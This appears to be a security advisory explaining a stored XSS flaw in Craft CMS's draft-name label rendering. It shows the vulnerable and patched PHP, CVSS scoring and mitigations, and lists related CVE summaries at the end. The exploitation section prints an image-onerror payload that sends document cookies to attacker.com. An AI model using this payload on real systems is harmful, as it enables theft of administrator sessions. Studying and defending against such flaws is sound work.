Aug 7, 2026·6 min read·0 visits
Craft CMS control panel is vulnerable to stored XSS via draft names because Yii's Html::tag helper does not auto-encode input, allowing authenticated authors to execute arbitrary JavaScript in administrators' browsers.
An authenticated stored Cross-Site Scripting (XSS) vulnerability exists in the Control Panel helper of Craft CMS before version 5.10.8. Due to lack of HTML entity encoding within the elementLabelHtml method, unescaped draft names are rendered directly into administrative interfaces.
Craft CMS is a widely used PHP-based content management system developed to create tailored digital experiences. Its administrative interface, known as the Control Panel, exposes a substantial attack surface via user-controlled parameters that populate listings, cards, and metadata grids. In particular, the system represents state variations of elements using small visual badges or chips to help editors identify entries in active editing stages.
A stored Cross-Site Scripting (XSS) vulnerability identified as GHSA-2RP4-X2J7-QMCC resides in the Control Panel helper component responsible for generating these visual labels. The flaw lies within the private method elementLabelHtml located in the src/helpers/Cp.php helper class. The method fails to sanitize user-supplied draft names prior to outputting them inside the administrative interface.
The vulnerability is classified under CWE-79 (Improper Neutralization of Input During Web Page Generation). Because the payload persists in the database and executes inside the sessions of other Control Panel users, including administrators, the risk of escalation is significant. Any authenticated user with access to draft creation can inject arbitrary scripts to compromise highly privileged administrative sessions.
The technical root cause of GHSA-2RP4-X2J7-QMCC is the lack of proper encoding when rendering the $element->draftName property within the administrative template helper. The draft name property holds a string representation supplied by the content editor when saving a draft. Because this string is fully controlled by the client, it is classified as an untrusted data source.
The vulnerability manifests when the application attempts to build the HTML string for the draft state badge. To construct the container tag, the helper class calls a helper method from the underlying framework: Html::tag('span', $content, $options). This method is a direct wrapper around Yii 2 framework's yii\helpers\Html::tag() function.
In the Yii 2 framework, the $content parameter passed to the tag() helper is not automatically HTML-encoded. This design decision allows developers to pass pre-built, nested HTML nodes into container elements. Consequently, when the raw, unescaped $element->draftName value is passed as the content parameter, any HTML markup within the string persists intact within the generated template and is rendered directly inside the document object model.
Analyzing the unpatched implementation of src/helpers/Cp.php reveals how the unescaped input enters the rendering pipeline. The vulnerability is located inside the elementLabelHtml function around line 1150:
// show the draft name?
if (($config['showDraftName'] ?? true) && $element->getIsDraft() && !$element->isProvisionalDraft && !$element->getIsUnpublishedDraft()) {
/** @var DraftBehavior&ElementInterface $element */
$content .= Html::tag('span', $element->draftName ?: Craft::t('app', 'Draft'), [
'class' => 'context-label',
]);
}In this implementation, the code evaluates if the element is a draft, ensures it is neither provisional nor unpublished, and appends a span element. The second argument of Html::tag evaluates directly to the unescaped $element->draftName if present. If an attacker inputs <script>alert(1)</script> as the draft name, the server outputs <span class="context-label"><script>alert(1)</script></span>.
The official patch modified this block to explicitly encode the input variable:
// show the draft name?
if (($config['showDraftName'] ?? true) && $element->getIsDraft() && !$element->isProvisionalDraft && !$element->getIsUnpublishedDraft()) {
/** @var DraftBehavior&ElementInterface $element */
$content .= Html::tag(
'span',
$element->draftName ? Html::encode($element->draftName) : Craft::t('app', 'Draft'),
['class' => 'context-label'],
);
}By routing the property through Html::encode(), special characters are translated into secure entities (e.g., < becomes <). While this fix successfully neutralizes HTML execution inside standard document structures, developers must ensure that provisional or unpublished draft names are not rendered unescaped in other unpatched classes.
To execute this exploit, an attacker requires credentials to an account with permissions to edit or create entry drafts, such as an external contributor or standard content author. The attack is structured to exploit the implicit trust placed in draft parameters.
First, the attacker logs into the Control Panel and navigates to an entry interface. They create a draft and configure its name to include a typical image-based injection payload: <img src=x onerror="fetch('https://attacker.com/exfil?c=' + btoa(document.cookie))">. The database stores this malicious payload in the draft name field.
Second, the administrator logs into the system and requests the global entries directory or dashboard widget. The server invokes the elementLabelHtml helper to generate the listing badges. Because the browser interprets the unescaped payload within the administrator's context, the JavaScript executes, enabling the attacker to harvest the session identifier and bypass security controls.
The impact of this stored XSS is elevated due to its location inside the administrative backend of the application. The executed script inherits the full authorizations and session characteristics of the victim. If the victim is an administrator, the attacker gains complete control over the CMS installation.
Actions possible via administrative context execution include the creation of new users with administrator privileges, direct database query execution via exposed utility panels, and modification of system settings. Furthermore, an attacker can disable auditing mechanisms or inject malicious scripts into public-facing templates, establishing a path to compromise site visitors.
The calculated CVSS version 3.1 base score is 8.2 (High). The vector details are CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:N. The scope is rated as 'Changed' (S:C) because exploitation allows escaping the limited user space of an editor and running tasks within the administrative security context. Availability is unaffected, as the script does not crash the database or web services.
The permanent remediation for GHSA-2RP4-X2J7-QMCC is upgrading the Craft CMS codebase to version 5.10.8 or newer. Upgrades should be conducted via Composer to ensure dependencies and autoload tables update correctly.
If immediate system upgrades are restricted by change-management processes, several temporary defense-in-depth measures are available. Applying a comprehensive Content Security Policy (CSP) restricts the execution of unauthorized inline scripts. The policy should mandate script nonces or restrict execution to trusted origin servers, minimizing the threat of unescaped browser payloads.
Web Application Firewalls (WAFs) can also inspect incoming requests targeting draft updates. Rules should flag and block parameters matching typical execution events (e.g., <script>, onerror=, onload=). However, server-side code correction remains the only definitive resolution to address the root escaping issue.
CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:N| Product | Affected Versions | Fixed Version |
|---|---|---|
Craft CMS Craft CMS | < 5.10.8 | 5.10.8 |
| Attribute | Detail |
|---|---|
| CWE ID | CWE-79 |
| Attack Vector | Network (AV:N) |
| CVSS v3.1 Score | 8.2 (High) |
| Exploit Status | Proof of Concept |
| Vulnerability Type | Stored Cross-Site Scripting (XSS) |
| Affected Component | src/helpers/Cp.php (elementLabelHtml method) |
The software does not neutralize or incorrectly neutralizes user-controllable input before it is placed in output that is used as a web page that is served to other users.
A critical OS command injection vulnerability exists in PHP_CodeSniffer's VCS blame report modules (Gitblame, Hgblame, Svnblame). Due to inadequate escaping of filenames passed to shell execution wrappers like popen(), an attacker who commits a file with a maliciously crafted name can execute arbitrary commands when the victim generates a blame report.
A path traversal vulnerability exists in the local filesystem driver of Craft CMS. Due to validation occurring before path normalization, directory containment checks can be bypassed by utilizing specific protocol schemes like 'file://' along with directory traversal sequences. This allows authenticated users with administrative privileges to access or manipulate files outside the defined storage root directory.
An authorization bypass vulnerability in Craft CMS allows unauthenticated or low-privileged users to query and obtain sensitive time-series user registration counts and demographic metrics. This is due to a missing authorization check inside the actionGetNewUsersData endpoint of the ChartsController class.
An authenticated information disclosure vulnerability in Craft CMS allows high-privilege administrators to extract sensitive environment variables, including the CRAFT_SECURITY_KEY and database credentials, using a blind error-based template injection attack within element select condition rules.
A protocol-parsing vulnerability in the pure-Python HTTP/2 library 'h2' (versions <= 4.4.0) allows unauthenticated remote attackers to perform HTTP Request Smuggling (CWE-444). The vulnerability exists because the library does not validate the uniqueness of 'Host' headers in incoming HTTP/2 request streams. When an upstream gateway parses such requests and downgrades them to HTTP/1.1 for internal backend servers, the resulting stream contains duplicate Host headers, which leads to parsing inconsistency and potential bypass of security filters.
An information disclosure vulnerability in Craft CMS allows users with administrative or non-sandboxed template-authoring privileges to read arbitrary system and configuration files. The issue stems from an incomplete class instantiation blocklist in the Twig template extension, which omitted PHP's built-in SplFileObject class.